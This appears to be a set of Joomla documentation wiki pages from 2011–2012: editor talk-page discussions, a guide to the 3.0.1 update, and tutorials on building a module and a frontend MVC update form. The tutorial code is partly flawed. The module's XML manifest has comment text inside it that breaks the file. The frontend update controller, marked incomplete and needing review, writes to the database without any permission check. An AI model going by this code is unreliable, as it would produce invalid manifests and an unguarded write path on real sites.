Hi Wgviana. I agree they should not be in the Template: namespace. However, I think they should be moved to the Chunk: namespace rather than Description:. The Description: namespace was set up specifically for class and method descriptions in the API Reference. I have added you to the Editors group so you should be able to make the changes yourself now. Thanks for volunteering. [[User:Chris Davenport|Chris Davenport]] 16:15, 12 September 2011 (CDT)

==Minor Spelling Issue==
Hi Chris, Top of the protected page:[http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable_Extensions_List] "Jnuary" is probably "January" with an "a". Thank you

== Translations into french ==

Hi. I'm a french speaking Joomla enthousiast ;) I'd like to port Security Guide into French, as this seems to be a main concern for some french speaking users. I could of course host that on my personal page, or as a guide on the french forum about Joomla, but I think that the best way should be to start a translation of the Wiki into french. Do you think it could be possible to have a subpage like the ones available for the brochure ? Is there something specific to do ? Is it a good practice or not ?

[[User:Elnikoff|Elnikoff]] 03:25, 30 November 2011 (CST)

== Help25 ==

What are those changes you did with Help25?? [[User:Oc666|oc666]] 17:04, 25 December 2011 (CST)

Help25 is a new namespace for the Joomla 2.5 help screens. So far I have just copied across all the Joomla 1.7 help screens and amended all 1.6/1.7 references to 2.5. I'm just now trying to work systematically through all the toolbar sections. If you have some time and you'd like to lend a hand, just dive straight in, or let me know if you need some pointers. [[User:Chris Davenport|Chris Davenport]] 17:10, 25 December 2011 (CST)

== Define default name ==

What should be the correct nomenclature?
manager or management
{|
|-style="vertical-align:top"
|<categorytree>Extensions</categorytree>
|<categorytree>Components</categorytree>
|<categorytree>Languages</categorytree>
|<categorytree>Modules</categorytree>
|<categorytree>Plugins</categorytree>
|<categorytree>Templates</categorytree>
|}
I believe we should create the following categories:
* Language
** Language Management
and organizer:
* Extension Management
** Component Management
** Language Management
** Module Management
** Plugin Management
** Template Management
--[[User:Wgviana|Wgviana]] 14:49, 25 March 2012 (CDT)

I think that "manager" would refer to the component whereas "management" would refer to the process. Personally, I think "management" would be more appropriate in the category names. [[User:Chris Davenport|Chris Davenport]] 16:20, 25 March 2012 (CDT)

== External links come automatically with signature ==

Hello Chris,

Not to complain, but just to inform you why the link to my site appeared on [[http://docs.joomla.org/index.php?title=Accessing_the_database_using_JDatabase&action=history]] (and possibly make someone change this wiki automatisation):
It's because I put 3 tilda's there to let everyone know which user said this (as I thought was appropriate because it was rather a editing note and not joomla specific knowledge).
So, maybe the 3 tilda's should be changed somehow in this wiki? Because after all, I'd still want that link to exist in my User info.

Cheers
(No reply needed, you can immediatly delete this if you want)

:Hmm, okay. I usually use 4 tildas, so this is a test with 3 tildas. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]])

:So for me using 3 tildas just adds links to the user's local profile page and profile talk page. Ahh, I wonder if you have a link in your signature. Please check the signature field in your user preferences and remove the external link if there is one. Thanks. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 15:18, 12 September 2012 (CDT)
::Apperently it had everything to do with my signature. I originally thought that had nothing to do with the tilda's, but it has. [[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]]) 15:01, 21 September 2012 (CDT)
:::Thanks. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 03:32, 22 September 2012 (CDT)

== Deleting page sends mail "created page" ?? ==

Hello again Chris,

I got a mail from the wiki saying you just created the page http://docs.joomla.org/Using_a_custom_image_in_the_Menu_Bar_title.
I guess this is some template or other wiki misconfiguration, since you just deleted it.
I didn't know where to put this comment, so here it is. Feel free to forward to someone responsible, able or willing to fix it. :-)
[[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]])

:It's a "bug" that's been in MediaWiki for years. The notification emails are identical whether a page is amended or deleted. I'm so used to it now I just don't notice it any more. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 14:25, 4 October 2012 (CDT)

== CodeExamples en categories with :: ==

Hallo again, Chris,
Weren't you the guy that included CodeExamples in this wiki? 
If not, any idea who is or who is the wiki-responsible to talk to? 
If so, read on..

I tried to help people by giving this CodeExample [[CodeExample:JHtml::stylesheet]], but it doesn't show up in the JHtml::stylesheet. On inspection of some of those pages, I noticed that a lot of (if not all) categories that have a "::" in them, show up as red (as if they don't exist), but they do. so I was wondering if that wasn't also the reason for my code-example not to show up.
[[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]]) 12:26, 4 October 2012 (CDT)

:The CodeExample extension is currently broken following an upgrade to the MediaWiki software. I keep meaning to try to fix it, but workload keeps getting the better of me. If you're a developer and you'd like to take a look then please drop me a line. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 14:25, 4 October 2012 (CDT)

== Mediwiki Spam a better way to manage it ==
Hello Chris,

Looking thru the ''Recent Changes'' it seems like a lot of bogus wiki accounts are made and then used to spam the wiki. Has anyone looked at installing the [http://www.mediawiki.org/wiki/Extension:ConfirmAccount Extension:ConfirmAccount] and instead of requesting a 50 word biography for the request form only ask for about 5 words to prove they are human that then can be rejecting or accepted? The intent being to reduce the amount of time currently spent chasing and deleting the spam pages and is not to get a real bio only to see if it is a real person who is not planning just to spam the wiki.

The request wording: '''Are you a human, and not just signing up to spam our wiki? One of the Joomla! people will read what you write here and then confirm your account. Sorry for the inconvenience, but reducing spam on the wiki makes this step necessary...'''
* Q:Why do you want a login? (plain text only):

How to update from joomla 3.0 to 3.0.1

2012-10-13T06:33:04Z

Cadrlp:

(note: Joomla 3.0.1 was released at 09 October 2012 22:06 PDT)

This tutorial will show you how to update from Joomla 3.0.0 to 3.0.1, which is a bit different than normal.

If you use Joomla!'s FTP layer please see Note 3 below.

== Backup your site ==

The update process is generally safe, but it's always a good idea to make a backup before updating. So please go ahead and make a backup of your site now.

== Install the hotfix patch via Extension Manager. ==

[[Image:media_1349743656750.png|frame|none]]

=== Go to the Install from URL tab===
=== Copy and Past the Update URL===
The URL for the hot patch is: http://joomlacode.org/gf/download/frsrelease/17575/76677/joomla_3-0-0_hotpatch.zip. Copy and paste this into the Install URL text box.

[[Image:media_1349749085366.png|frame|none]]

== Install ==

If you have any difficulty installing from URL, download the file to your computer and install using Upload Package File.

== Set the Joomla! Update Server to Short Term Support ==

Navigate to Components→Joomla! Update and click the Options button. Change the Update server to Short Term Support as shown below.

[[Image:Version-3-0-1-update-image01.png|frame|none]]
Click '''Save & Close''' to save the change.

== Update to Joomla 3.0.1 via the Joomla! update component==
After getting the success message, go to Components >> Joomla! Update.

[[Image:media_1349749557492.png|frame|none]]

Note #1: If you are not getting the "Note: Hot patch for 3.0.1 update is installed" message, then please repeat Step 2 or ask for some help from a trusted developer.

Note #2: If you're not getting the "Joomla! update was found", click on Purge Cache button.

If you see both of the above, Install the Update.
[[Image:media_1349745128572.png|frame|none]]

Note #3: If you use FTP, you might have to FTP the update package, which you can download at:

http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&frs_package_id=6517

<noinclude>[[Category:Version 3.0 FAQ]]
[[Category:Version 3.0.0 FAQ]]
[[Category:Version 3.0.1 FAQ]]</noinclude>

Events

2012-10-13T06:31:50Z

Cadrlp:

Here you can find all information about Events in the Joomla!Universe. In general the [[Events Working Group]] is responsible for events, some events are organised by another group but asking the [[Events Working Group]] is always a good idea.

* [[Joomla! Days]]
* [[Joomla! Documentation Camps]]
* [[Joomla! Developer Conference / Road Map Meetings]]
* [[other Events with Joomla! in the name]]
* [[Pizza, Bugs and Fun]]

[[Category:Events Working Group]]
[[Category:Events]]

User talk:Niravmehta2009

2012-09-17T21:29:14Z

Cadrlp:

== Creating MW Module for Joomla 2.5 with Mehta Websolution ==

A module is a lightweight and flexible extension that is used for page rendering. They are used for small bits of the page that are generally less complex and are able to be seen across different components.

You can see many examples of modules in the standard Joomla! install: - menus - Latest News - Login form - and many more.

This tutorial will explain how to go about creating a simple Hello World module. Through this tutorial you will learn the basic file structure of a module. This basic structure can then be expanded to produce more elaborate modules.

== File Structure ==

There are four basic files that are used in the standard pattern of module development:
* <tt>mod_mw_okie_dude.php</tt> - This file is the main entry point for the module. It will perform any necessary initialization routines, call helper routines to collect any necessary data, and include the template which will display the module output.

* <tt>mod_mw_okie_dude.xml</tt> - This file contains information about the module. It defines the files that need to be installed by the Joomla! installer and specifies configuration parameters for the module.

* <tt>tmpl/default.php</tt> - This is the module template. This file will take the data collected by mod_mw_okie_dude.php and generate the HTML to be displayed on the page.

== Creating mod_mw_okie_dude.php ==

The complete mod_mw_okie_dude.php file is as follows:

<source lang="php"><?php
/**
* @module MW Okie Dude - Joomla 2.5 Module
* @author Nirav Mehta ( Mehta Websolution )
* @companyname Mehta Websolution
* @link http://mehtawebsolution.com
* @package Mehta Websolution - Joomla Tutorials
* @subpackage Modules
* @link http://dev.joomla.org/component/option,com_jd-wiki/Itemid,31/id,tutorials:modules/
* @license GNU/GPL, see LICENSE.php
* mod_mw_okie_dude is free software. developed by www.mehtawebsolution.com
* This version may have been modified pursuant.
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
*/

// no direct access
defined( '_JEXEC' ) or die;

require JModuleHelper::getLayoutPath('mod_mw_okie_dude');

?>
</source>

The one line that we haven’t explained so far is the first line. This line checks to make sure that this file is being included from the Joomla! application. This is necessary to prevent variable injection and other potential security concerns.

== Creating tmpl/default.php ==

The default.php file is the template which displays the module output.

The code for the default.php file is as follows:

<source lang="php">
<?php
// no direct access
defined( '_JEXEC' ) or die;
?>

<?php echo $params->get('mw_okie_dude_message'); ?>

</source>

An important point to note is that the template file has the same scope as the mod_mw_okie_dude.php file. What this means is that the variable $message can be defined in the mod_mw_okie_dude.php file and then used in the template file without any extra declarations or function calls.

== Creating mod_mw_okie_dude.xml ==

The mod_mw_okie_dude.xml is used to specify which files the installer needs to copy and is used by the Module Manager to determine which parameters are used to configure the module. Other information about the module is also specified in this file.

The code for mod_mw_okie_dude.xml is as follows:

<source lang="xml">
<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5.0" client="site" method="install">
<name>MW Okie Dude</name>
<author>Nirav Mehta</author>
<creationDate>April 2012</creationDate>
<copyright>Copyright (C)2012 Mehta Websolution</copyright>
<license>GNU General Public License version 2 or later</license>
<authorEmail>info@mehtawebsolution.com</authorEmail>
<authorUrl>www.mehtawebsolution.com</authorUrl>
<version>1.0</version>
<description>A module listing all of the activities developed by Mehta Websolution (http://mehtawebsolution.com)</description>
<files>

<filename module="mod_mw_okie_dude">mod_mw_okie_dude.php</filename>
<filename>mod_mw_okie_dude.xml</filename>
<filename>css/index.html</filename>
<filename>css/mw_okie_dude.css</filename> // here you can put your CSS code or Add your owned CSS file name //
<filename>images/index.html</filename>
<filename>js/mw_okie_dude.js</filename> // here you can put your JS(Jquery) code or Add your owned JS(Jquery) file name //
<filename>js/index.html</filename>
<filename>tmpl/index.html</filename>
<filename>tmpl/default.php</filename>
<filename>index.html</filename>

</files>
<config>
<fields name="params">
<fieldset name="basic">
<field
name="mw_okie_dude_message"
type="text"
default="MW Okie Dude"
label="Message"
description="Message to display above activity list" />

</fieldset>
</fields>
</config>
</extension>

</source>

For a more complete example of an extension definition in XML, see [[Components:xml_installfile]]. [[Manifest_files]] explains the technical details of the elements used in the XML file.

You will notice that there are five additional files that we have not yet mentioned: index.html, css/index.html, images/index.html, js/index.html, tmpl/index.html. These files are included so that these directories cannot be browsed. If a user attempts to point their browser to these folders, the index.html file will be displayed. These files can be left empty or can contain the simple line:

<source lang="html4strict"><html><body bgcolor="#FFFFFF"></body></html></source>

which will display an empty page.

Since our module does not use any parameters, this section is empty.

== Conclusion ==

Module development for Joomla2.5 . Using the techniques described in this tutorial, an endless variety of modules can be developed with Ravi Mehta.

<big>Company : Mehta Websolution | Link : http://mehtawebsolution.com | Authors : Nirav Mehta & Ravi Mehta | City : Jamnagar | Country : India</big>

Follow us on Facebook : [http://www.facebook.com/pages/Mehta-Websolution/230641370296474 Mehta Websolution] | [http://www.facebook.com/mehtawebsolution Nirav Mehta] | [http://www.facebook.com/ravimehta2009 Ravi Mehta]

[[:Category:Tutorials]]
[[:Category:Extensions| Module]]
[[:Category:Extension_development]]
[[:Category:Module Development]]
[[:Category:Module]]
[[:Category:Development]]
[[:Category:Main_Page]]
[[:Category:Joomla!_1.7]]
[[:Category:Joomla!_2.5]]

Archived:Developing a MVC Component/Example of a frontend update function

2012-09-17T21:26:08Z

Cadrlp: view history to see Contributors

{{incomplete}}{{review|technical|This article needs to be reviewed by someone who knows what they're doing.}}
This tutorial is for {{JVer|1.6}} {{JVer|1.7}} {{JVer|2.5}}
{{Chunk:Developing a Model-View-Controller (MVC) Component for Joomla!2.5 - Contents}}

== Introduction ==
This tutorial is part of the [[Developing a Model-View-Controller (MVC) Component for Joomla!2.5]] tutorial. You are encouraged to read the previous parts of the tutorial before reading this.

== Basic frontend form ==
Designing the frontend interface leads us to create a Model-View-Controller triptych similar to the backend in Part 7.

== Create the specific controller ==
The entry point now gets an instance of an ''UpdHelloWorld'' prefixed controller which extends the function of JControllerForm. Let's create a basic controllerform for the site part:


''site/controllers/updhelloworld.php''
<source lang="php">
<?php

// No direct access.
defined('_JEXEC') or die;

// Include dependancy of the main controllerform class
jimport('joomla.application.component.controllerform');

class HelloWorldControllerUpdHelloWorld extends JControllerForm
{

public function getModel($name = '', $prefix = '', $config = array('ignore_request' => true))
{
return parent::getModel($name, $prefix, array('ignore_request' => false));
}

public function submit()
{
// Check for request forgeries.
JRequest::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

// Initialise variables.
$app = JFactory::getApplication();
$model = $this->getModel('updhelloworld');

// Get the data from the form POST
$data = JRequest::getVar('jform', array(), 'post', 'array');

// Now update the loaded data to the database via a function in the model
$upditem = $model->updItem($data);

// check if ok and display appropriate message. This can also have a redirect if desired.
if ($upditem) {
echo "<h2>Updated Greeting has been saved</h2>";
} else {
echo "<h2>Updated Greeting failed to be saved</h2>";
}

return true;
}

}
</source>


This controller will display the appropriate message after the form is submitted.

== Create the view ==

With your favorite file manager and editor, create a file ''site/views/updhelloworld/view.html.php'' containing:


''site/views/updhelloworld/view.html.php''
<source lang="php">
<?php
// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import Joomla view library
jimport('joomla.application.component.view');

/**
* HTML View class for the UpdHelloWorld Component
*/
class HelloWorldViewUpdHelloWorld extends JView
{
// Overwriting JView display method
function display($tpl = null)
{
$app = JFactory::getApplication();
$params = $app->getParams();
$dispatcher = JDispatcher::getInstance();

// Get some data from the models
$state = $this->get('State');
$item = $this->get('Item');
$this->form = $this->get('Form');

// Check for errors.
if (count($errors = $this->get('Errors')))
{
JError::raiseError(500, implode(' ', $errors));
return false;
}
// Display the view
parent::display($tpl);
}
}
</source>


In Joomla, views display data using a layout. With your favorite file manager and editor, put a file ''site/views/updhelloworld/tmpl/default.php'' containing


''site/views/updhelloworld/tmpl/default.php''
<source lang="php">
<?php
// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidation');
JHtml::_('behavior.tooltip');

?>
<h2>Update the Hello World greeting</h2>

<form class="form-validate" action="<?php echo JRoute::_('index.php'); ?>" method="post" id="updhelloworld" name="updhelloworld">
<fieldset>
<dl>
<dt><?php echo $this->form->getLabel('id'); ?></dt>
<dd><?php echo $this->form->getInput('id'); ?></dd>
<dt></dt><dd></dd>
<dt><?php echo $this->form->getLabel('greeting'); ?></dt>
<dd><?php echo $this->form->getInput('greeting'); ?></dd>
<dt></dt><dd></dd>
<dt></dt>
<dd><input type="hidden" name="option" value="com_helloworld" />
<input type="hidden" name="task" value="updhelloworld.submit" />
</dd>
<dt></dt>
<dd><button type="submit" class="button"><?php echo JText::_('Submit'); ?></button>
<?php echo JHtml::_('form.token'); ?>
</dd>
</dl>
</fieldset>
</form>
<div class="clr"></div>

</source>


This layout utilises the forms design which resides with the related model. The getLabel and getInput will pickup the xml fields defined and display appropriately. More on the xml file within the models section of this tutorial.

Create a file ''site/views/updhelloworld/tmpl/default.xml'' containing


''site/views/updhelloworld/tmpl/default.xml''
<source lang="xml">
<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_HELLOWORLD_UPDHELLOWORLD_VIEW_DEFAULT_TITLE">
<message>COM_HELLOWORLD_UPDHELLOWORLD_VIEW_DEFAULT_DESC</message>
</layout>
</metadata>

</source>


This enables a menu option to be allocated to the frontend form.

== Create the model ==
The ''UpdHelloWorld'' model sets up the data through from the related form and allows the mechanism to save the subsequent data loaded into the form into the database.


''site/models/updhelloworld.php''
<source lang="php">
<?php
// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// Include dependancy of the main model form
jimport('joomla.application.component.modelform');
// import Joomla modelitem library
jimport('joomla.application.component.modelitem');
// Include dependancy of the dispatcher
jimport('joomla.event.dispatcher');

/**
* UpdHelloWorld Model
*/
class HelloWorldModelUpdHelloWorld extends JModelForm
{
/**
* @var object item
*/
protected $item;

/**
* Get the data for a new qualification
*/
public function getForm($data = array(), $loadData = true)
{

$app = JFactory::getApplication('site');

// Get the form.
$form = $this->loadForm('com_helloworld.updhelloworld', 'updhelloworld', array('control' => 'jform', 'load_data' => true));
if (empty($form)) {
return false;
}
return $form;

}

/**
* Get the message
* @return object The message to be displayed to the user
*/
function &getItem()
{

if (!isset($this->_item))
{
$cache = JFactory::getCache('com_helloworld', '');
$id = $this->getState('helloworld.id');
$this->_item = $cache->get($id);
if ($this->_item === false) {

}
}
return $this->_item;

}

public function updItem($data)
{
// set the variables from the passed data
$id = $data['id'];
$greeting = $data['greeting'];

// set the data into a query to update the record
$db = $this->getDbo();
$query = $db->getQuery(true);
$query->clear();
$query->update(' #__helloworld ');
$query->set(' greeting = '.$db->Quote($greeting) );
$query->where(' id = ' . (int) $id );

$db->setQuery((string)$query);

if (!$db->query()) {
JError::raiseError(500, $db->getErrorMsg());
return false;
} else {
return true;
}
}
}

</source>


The following file ''updhelloworld.xml'' should be created using your favourite editor and saved in the forms folder under the models directory. The first of the fields being referenced id using the sql type so that I returns the results from the query into a dropdown list form to be selected.

''site/models/forms/updhelloworld.xml''
<source lang="xml">
<?xml version="1.0" encoding="UTF-8"?>
<form name="updhelloworld">
<fieldset name="updhelloworld">

<field
name="id"
type="sql"
multiple="false"
size="1"
label="COM_HELLOWORLD_FORM_LBL_UPDHELLOWORLD_ID"
description="COM_HELLOWORLD_FORM_DESC_UPDHELLOWORLD_ID"
query="select id, greeting from #__helloworld"
key_field="id"
value_field="greeting"
default="0"
required="true"
>
<option value="">JOPTION_SELECT_ID</option>
</field>

<field
name="greeting"
type="text"
description="COM_HELLOWORLD_FORM_DESC_UPDHELLOWORLD_GREETING"
label="COM_HELLOWORLD_FORM_LBL_UPDHELLOWORLD_GREETING"
required="true"
size="50" />

</fieldset>
</form>

</source>


== Adding some language keys ==

This file provides the text link between the label in the model form definition to be displayed in the view. And being for the frontend, it resides in the site folder.


''site/language/en-GB/en-GB.com_helloworld.ini''
<source lang="ini">
COM_HELLOWORLD_FORM_LBL_UPDHELLOWORLD_ID="Greeting ID"
COM_HELLOWORLD_FORM_DESC_UPDHELLOWORLD_ID="This is the ID of the Greeting record"
COM_HELLOWORLD_FORM_LBL_UPDHELLOWORLD_GREETING="Greeting"
COM_HELLOWORLD_FORM_DESC_UPDHELLOWORLD_GREETING="Greeting description"
JOPTION_SELECT_ID=" -- Select Greeting to Update -- "
</source>


Add the last 2 lines to the ''admin/language/en-GB/en-GB.com_helloworld.sys.ini'' file to provide the text link for the menu type display. And being for the backend, it resides in the admin language folder.


''admin/language/en-GB/en-GB.com_helloworld.sys.ini''
<source lang="ini">
COM_HELLOWORLD="Hello World!"
COM_HELLOWORLD_DESCRIPTION="This is the Hello World description"
COM_HELLOWORLD_HELLOWORLD_VIEW_DEFAULT_DESC="This view displays a selected message"
COM_HELLOWORLD_HELLOWORLD_VIEW_DEFAULT_TITLE="Hello World"
COM_HELLOWORLD_INSTALL_TEXT="HelloWorld Install script"
COM_HELLOWORLD_MENU="Hello World!"
COM_HELLOWORLD_POSTFLIGHT_DISCOVER_INSTALL_TEXT="HelloWorld postlight discover install script"
COM_HELLOWORLD_POSTFLIGHT_INSTALL_TEXT="HelloWorld postflight install script"
COM_HELLOWORLD_POSTFLIGHT_UNINSTALL_TEXT="HelloWorld postflight uninstall script"
COM_HELLOWORLD_POSTFLIGHT_UPDATE_TEXT="HelloWorld postflight update script"
COM_HELLOWORLD_PREFLIGHT_DISCOVER_INSTALL_TEXT="HelloWorld preflight discover install script"
COM_HELLOWORLD_PREFLIGHT_INSTALL_TEXT="HelloWorld preflight install script"
COM_HELLOWORLD_PREFLIGHT_UNINSTALL_TEXT="HelloWorld preflight uninstall script"
COM_HELLOWORLD_PREFLIGHT_UPDATE_TEXT="HelloWorld preflight update script"
COM_HELLOWORLD_UNINSTALL_TEXT="HelloWorld Uninstall script"
COM_HELLOWORLD_UPDATE_TEXT="HelloWorld Update script"
COM_HELLOWORLD_UPDHELLOWORLD_VIEW_DEFAULT_TITLE="Update the Greeting"
COM_HELLOWORLD_UPDHELLOWORLD_VIEW_DEFAULT_DESC="Update greeting here"
</source>


The ''_populateState'' method is, by default, automatically called when a state is read by the ''getState'' method.

== Packaging the component ==

Content of your code directory-
* ''[[#helloworld.xml|helloworld.xml]]''
* ''[[#script.php|script.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_02#site/helloworld.php|site/helloworld.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_02#site/controller.php|site/controller.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/updhelloworld.php|site/updhelloworld.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/controllers/updhelloworld.php|site/controllers/updhelloworld.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/controllers/index.html|site/controllers/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/views/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/views/helloworld/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#site/views/helloworld/view.html.php|site/views/helloworld/view.html.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/views/updhelloworld/view.html.php|site/views/updhelloworld/view.html.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/views/helloworld/tmpl/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/views/updhelloworld/tmpl/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_06#site/views/helloworld/tmpl/default.xml|site/views/helloworld/tmpl/default.xml]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#site/views/helloworld/tmpl/default.php|site/views/helloworld/tmpl/default.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/views/updhelloworld/tmpl/default.xml|site/views/updhelloworld/tmpl/default.xml]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/views/updhelloworld/tmpl/default.php|site/views/updhelloworld/tmpl/default.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/models/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#site/models/helloworld.php|site/models/helloworld.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/models/updhelloworld.php|site/models/updhelloworld.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_18#site/models/forms/updhelloworld.xml|site/models/forms/updhelloworld.xml]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/models/forms/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/language/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|site/language/en-GB/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_08#site/language/en-GB/en-GB.com_helloworld.ini|site/language/en-GB/en-GB.com_helloworld.ini]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/access.xml|admin/access.xml]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/config.xml|admin/config.xml]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/helloworld.php|admin/helloworld.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_12#admin/controller.php|admin/controller.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/sql/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#admin/sql/install.mysql.utf8.sql|admin/sql/install.mysql.utf8.sql]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_06#admin/sql/uninstall.mysql.utf8.sql|admin/sql/uninstall.mysql.utf8.sql]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/sql/updates/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/sql/updates/mysql/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#admin/sql/updates/mysql/0.0.1.sql|admin/sql/updates/mysql/0.0.1.sql]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_06#admin/sql/install.mysql.utf8.sql|admin/sql/updates/mysql/0.0.6.sql]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_12#admin/sql/updates/mysql/0.0.12.sql|admin/sql/updates/mysql/0.0.12.sql]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#admin/sql/updates/mysql/0.0.13.sql|admin/sql/updates/mysql/0.0.13.sql]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/models/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/models/fields/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_12#admin/models/fields/helloworld.php|admin/models/fields/helloworld.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/models/forms/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_13#admin/models/forms/helloworld.xml|admin/models/forms/helloworld.xml]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_11#admin/models/forms/helloworld.js|admin/models/forms/helloworld.js]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/models/rules/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_11#admin/models/rules/greeting.php|admin/models/rules/greeting.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/models/helloworld.php|admin/models/helloworld.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_09#admin/models/helloworlds.php|admin/models/helloworlds.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/views/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/views/helloworlds/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_14#admin/views/helloworlds/view.html.php|admin/views/helloworlds/view.html.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_01#index.html|admin/views/helloworlds/tmpl/index.html]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_11#admin/views/helloworlds/tmpl/default.php|admin/views/helloworlds/tmpl/default.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_07#admin/views/helloworlds/tmpl/default_head.php|admin/views/helloworlds/tmpl/default_head.php]]''
* ''[[Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!2.5_-_Part_07#admin/views/helloworlds/tmpl/default_body.php|admin/views/helloworlds/tmpl/default_body.php]]''
